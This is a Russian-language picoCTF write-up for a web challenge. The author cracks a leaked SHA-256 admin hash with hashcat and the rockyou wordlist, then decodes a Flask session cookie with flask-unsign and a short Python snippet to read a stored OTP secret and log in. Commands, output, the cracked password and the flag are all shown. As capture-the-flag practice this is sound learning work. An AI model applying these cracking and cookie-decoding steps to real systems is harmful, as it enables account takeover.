

# 1. WriteUp: PICO-CTF

**Автор:** nedo-offsec

**Дата:** 20 июля 2026

**Задание:** No FA

**Категория:** Web

**Сложность:** Easy 200 pts

## 1.1 Задание

Seems like some data has been leaked! Can you get the flag? You can get started here <http://foggy-cliff.picoctf.net:60917/login> to find the flag!

The application code can be found here `app.py`.

The leaked data can be found here `users.db`.

## 1.2 Решение

Берем `users.db` и смотрим чекаво:

```
sqlite3 users.db
.table
users
SELECT * FROM users;
admin          iamadmin@nfs.com
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
```

Дальше взламываем SHA256 хеш:

```
hashcat -m 1400 -a 0 --force admin.hash /usr/share/wordlists/seclists/Passwords/
Leaked-Databases/rockyou.txt
```

```
hashcat (v7.1.2) starting
```

You have enabled `--force` to bypass dangerous warnings and errors!  
This can hide serious problems and should only be done when debugging.  
Do not report hashcat issues encountered when using `--force`.

```
OpenCL API (OpenCL 3.0 PoCL 7.1 Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO,
CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
```

```
=====
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 5775/11550 MB (5775
MB allocatable), 20MCU
```

```
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
```

```
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
```

```
Optimizers applied:
```

- \* Zero-Byte
- \* Early-Skip
- \* Not-Salted
- \* Not-Iterated

- \* Single-Hash
- \* Single-Salt
- \* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.  
Pure kernels can crack longer passwords, but drastically reduce performance.  
If you want to switch to optimized kernels, append -O to your commandline.  
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 517 MB (8336 MB free)

Dictionary cache built:

- \* Filename...: /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
- \* Passwords..: 14344391
- \* Bytes.....: 139921497
- \* Keyspace...: 14344384
- \* Runtime...: 1 sec

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

Session.....: hashcat  
Status.....: Cracked  
Hash.Mode.....: 1400 (SHA2-256)  
Hash.Target.....: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabd...e5ab67  
Time.Started....: Mon Jul 20 00:42:28 2026, (0 secs)  
Time.Estimated...: Mon Jul 20 00:42:28 2026, (0 secs)  
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)  
Guess.Base.....: File (/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt)  
Guess.Queue.....: 1/1 (100.00%)  
Speed.#01.....: 8601.3 kH/s (0.51ms) @ Accel:1024 Loops:1 Thr:1 Vec:8  
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)  
Progress.....: 2048000/14344384 (14.28%)  
Rejected.....: 0/2048000 (0.00%)  
Restore.Point....: 2027520/14344384 (14.13%)  
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1  
Candidate.Engine.: Device Generator  
Candidates.#01...: artchell -> ammachar  
Hardware.Mon.#01.: Temp: 69c Util: 6%

Started: Mon Jul 20 00:42:13 2026

Stopped: Mon Jul 20 00:42:29 2026

hashcat -m 1400 admin.hash --show

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

Дальше логинимся и нужно обойти ОТР. Посмотрев app.py видим, используется flask.  
Оказывается в интернете уже есть инструмент, который по куки, декодирует всю нужную нам информацию:

python -m flask\_unsign --decode --cookie

```
".eJwty0sKgCAUAMC7vLWE5TcvE5IvEfyhtorunou2A_NALN6jAw0XjR2BQbn16Hg2HBM1Vey3ERL2YVMFsyrN-a6lFMsmqNKUEbg7tmwTzmRdChneD0c7HGg.al1J6Q.vDfqkMvggRUaG1Pkvf2SoNcCGsk"
{'logged': 'false', 'otp_secret': '8073', 'otp_timestamp': 1784498665.2507803,
'username': 'admin'}
```

Вводим otp и получаем флаг:

```
picoCTF{n0_r4t3_n0_4uth_3ed5f244}
```

По правде говоря, не думаю, что решу подобное на практике. Что делать с бд я понимал, нашел хеш – взломал, но как быть с ОТР я хз, ибо в Вирг перебор был ужасно долгим, тут только скрипты мб писать.

Определенно стоит прорешать эту задачу в будущем другим подходом.

В интернете решали так:

The session is:

Base64 encoded zlib compressed

I used Python to decode it:

```
import base64, zlib
data = "eJwty0sKgCAQANC7zFrCanDEy4TkJII_1FbR3XPR9sF7IBbv2YGBv8b0IKCMenQ-G4-  
JqKT6bYTEfdhUwaxEJHFHiQtp2rTSAu70LdvEM1mXQob3A0YkHGY.aeuHzA.0qWBkjHf3AyS0Bo8oL2ND8wh9Jc"  
decoded = zlib.decompress(base64.urlsafe_b64decode(data + '=='))  
print(decoded)
```

Запоминаем на будущее